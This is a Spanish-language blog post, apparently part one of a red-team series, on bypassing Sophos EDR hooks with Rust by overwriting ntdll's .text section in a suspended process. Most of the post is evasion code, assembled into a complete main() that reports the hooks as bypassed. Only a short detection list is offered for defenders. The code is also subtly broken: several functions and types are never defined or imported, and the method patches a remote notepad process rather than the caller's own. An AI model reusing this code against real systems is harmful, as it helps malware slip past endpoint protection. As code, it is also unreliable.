Introducción
En el mundo de la ciberseguridad, la capacidad de evadir sistemas de detección y respuesta en endpoints (EDR) es fundamental para los profesionales de Red Team y los investigadores de seguridad. En esta serie de posts, exploraremos técnicas avanzadas para evadir Sophos EDR utilizando el lenguaje de programación Rust.
Disclaimer: Este contenido tiene propósitos estrictamente educativos y de investigación. El uso indebido de estas técnicas puede ser ilegal y poco ético. Siempre obtenga autorización antes de realizar pruebas de penetración.
¿Por qué Rust para Evasión de EDR?
Rust ofrece varias ventajas significativas para el desarrollo de herramientas de evasión:
- Seguridad de memoria: Previene errores comunes que podrían crashear nuestro payload
- Performance: Comparable a C/C++ sin sacrificar seguridad
- Control de bajo nivel: Acceso directo a Windows APIs
- Ecosistema moderno: Excelentes herramientas y librerías
Entendiendo los Hooks de Sophos
Sophos EDR, como muchas soluciones modernas de seguridad, implementa hooks en APIs críticas del sistema para monitorear actividades potencialmente maliciosas. Estos hooks interceptan llamadas a funciones sensibles en ntdll.dll, permitiendo al EDR analizar y potencialmente bloquear comportamientos sospechosos.
Identificando APIs Monitoreadas
Durante mi investigación, utilicé una herramienta especializada disponible en GitHub para identificar qué APIs están siendo monitoreadas por Sophos:

// APIs comúnmente hookeadas por Sophos EDR
const HOOKED_APIS: &[&str] = &[
"NtCreateProcess",
"NtCreateProcessEx",
"NtCreateUserProcess",
"NtOpenProcess",
"NtAllocateVirtualMemory",
"NtWriteVirtualMemory",
"NtProtectVirtualMemory",
"NtCreateThread",
"NtCreateThreadEx",
"NtQueueApcThread",
"NtSetContextThread"
];
Técnica de Unhooking: Refresh de NTDLL
La técnica principal que implementaremos consiste en “refrescar” la copia de ntdll.dll en memoria, reemplazando la versión hookeada con una copia limpia del disco.
Paso 1: Crear un Proceso Suspendido
Primero, creamos un proceso suspendido que nos servirá como vehículo para nuestras operaciones:
use winapi::um::processthreadsapi::{
CreateProcessW, PROCESS_INFORMATION, STARTUPINFOW
};
use winapi::um::winbase::CREATE_SUSPENDED;
use std::mem;
use std::ptr;
fn create_suspended_process(target: &str) -> Result<PROCESS_INFORMATION, String> {
unsafe {
let mut si: STARTUPINFOW = mem::zeroed();
let mut pi: PROCESS_INFORMATION = mem::zeroed();
si.cb = mem::size_of::<STARTUPINFOW>() as u32;
let mut target_wide: Vec<u16> = target.encode_utf16()
.chain(std::iter::once(0))
.collect();
let success = CreateProcessW(
ptr::null(),
target_wide.as_mut_ptr(),
ptr::null_mut(),
ptr::null_mut(),
0,
CREATE_SUSPENDED,
ptr::null_mut(),
ptr::null(),
&mut si,
&mut pi
);
if success == 0 {
return Err("Failed to create suspended process".to_string());
}
Ok(pi)
}
}
Paso 2: Localizar NTDLL en Memoria
Una vez que tenemos nuestro proceso suspendido, necesitamos localizar la dirección base de ntdll.dll:
use winapi::um::psapi::{EnumProcessModules, GetModuleBaseNameW};
use winapi::um::winnt::HANDLE;
fn find_ntdll_base(process_handle: HANDLE) -> Result<usize, String> {
unsafe {
let mut modules: [HMODULE; 1024] = mem::zeroed();
let mut cb_needed: u32 = 0;
if EnumProcessModules(
process_handle,
modules.as_mut_ptr(),
mem::size_of_val(&modules) as u32,
&mut cb_needed
) == 0 {
return Err("Failed to enumerate modules".to_string());
}
let module_count = cb_needed / mem::size_of::<HMODULE>() as u32;
for i in 0..module_count as usize {
let mut module_name: [u16; 260] = [0; 260];
GetModuleBaseNameW(
process_handle,
modules[i],
module_name.as_mut_ptr(),
260
);
let name = String::from_utf16_lossy(&module_name);
if name.to_lowercase().contains("ntdll.dll") {
return Ok(modules[i] as usize);
}
}
Err("NTDLL not found".to_string())
}
}
Paso 3: Implementar el Unhooking
El corazón de nuestra técnica - reemplazar la NTDLL hookeada con una copia limpia:
use std::fs;
use winapi::um::memoryapi::{VirtualProtectEx, WriteProcessMemory};
use winapi::um::winnt::PAGE_EXECUTE_READWRITE;
fn unhook_ntdll(process_handle: HANDLE, ntdll_base: usize) -> Result<(), String> {
unsafe {
// Leer NTDLL limpia del disco
let clean_ntdll = fs::read("C:\\Windows\\System32\\ntdll.dll")
.map_err(|e| format!("Failed to read clean NTDLL: {}", e))?;
// Parsear headers PE para obtener el tamaño del .text section
let dos_header = &*(clean_ntdll.as_ptr() as *const IMAGE_DOS_HEADER);
let nt_headers = &*((clean_ntdll.as_ptr() as usize +
dos_header.e_lfanew as usize) as *const IMAGE_NT_HEADERS);
let text_section = find_text_section(&nt_headers)?;
let text_rva = text_section.VirtualAddress as usize;
let text_size = text_section.SizeOfRawData as usize;
// Cambiar protección de memoria
let mut old_protect: u32 = 0;
VirtualProtectEx(
process_handle,
(ntdll_base + text_rva) as *mut _,
text_size,
PAGE_EXECUTE_READWRITE,
&mut old_protect
);
// Escribir la sección .text limpia
let mut bytes_written: usize = 0;
let clean_text = &clean_ntdll[text_section.PointerToRawData as usize..
(text_section.PointerToRawData +
text_section.SizeOfRawData) as usize];
WriteProcessMemory(
process_handle,
(ntdll_base + text_rva) as *mut _,
clean_text.as_ptr() as *const _,
text_size,
&mut bytes_written
);
// Restaurar protección original
VirtualProtectEx(
process_handle,
(ntdll_base + text_rva) as *mut _,
text_size,
old_protect,
&mut old_protect
);
Ok(())
}
}
Implementación Completa
Aquí está el código completo que combina todas las técnicas:
use winapi::um::processthreadsapi::ResumeThread;
use std::thread;
use std::time::Duration;
fn main() -> Result<(), Box<dyn std::error::Error>> {
println!("[+] Sophos EDR Evasion - NTDLL Unhooking");
println!("[+] Educational Purpose Only\n");
// Crear proceso suspendido
println!("[*] Creating suspended process...");
let pi = create_suspended_process("C:\\Windows\\System32\\notepad.exe")?;
println!("[+] Process created with PID: {}",
unsafe { GetProcessId(pi.hProcess) });
// Esperar un momento para que el proceso se inicialice
thread::sleep(Duration::from_millis(500));
// Encontrar NTDLL
println!("[*] Locating NTDLL in target process...");
let ntdll_base = find_ntdll_base(pi.hProcess)?;
println!("[+] NTDLL found at: 0x{:X}", ntdll_base);
// Realizar unhooking
println!("[*] Performing NTDLL unhooking...");
unhook_ntdll(pi.hProcess, ntdll_base)?;
println!("[+] NTDLL successfully unhooked!");
// Resumir el proceso
println!("[*] Resuming process execution...");
unsafe {
ResumeThread(pi.hThread);
}
println!("[+] Process resumed. EDR hooks bypassed!");
// Limpiar handles
unsafe {
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
Ok(())
}
Detección y Mitigación
Para los Blue Teamers, aquí hay algunas formas de detectar esta técnica:
- Monitoreo de CreateProcess con CREATE_SUSPENDED: Procesos creados en estado suspendido son sospechosos
- Detección de modificaciones en NTDLL: Comparar hashes de secciones críticas
- Análisis de comportamiento: Patrones de escritura en memoria de procesos
- ETW (Event Tracing for Windows): Monitorear eventos de manipulación de memoria
Conclusión
La técnica de unhooking mediante refresh de NTDLL es efectiva contra muchos EDRs, incluido Sophos. Sin embargo, es importante recordar que:
- Las técnicas de evasión evolucionan constantemente
- Los vendors de seguridad actualizan sus productos regularmente
- El uso ético y legal de estas técnicas es fundamental
En la Parte 2, exploraremos técnicas más avanzadas como:
- Direct syscalls
- Hell’s Gate y Halo’s Gate
- Manual mapping de DLLs
- Bypass de ETW y AMSI
Referencias
Este post es parte de una serie sobre técnicas avanzadas de evasión de EDR. Recuerda siempre actuar dentro del marco legal y ético.
#EDREvasion #Rust #RedTeam #Sophos #Cybersecurity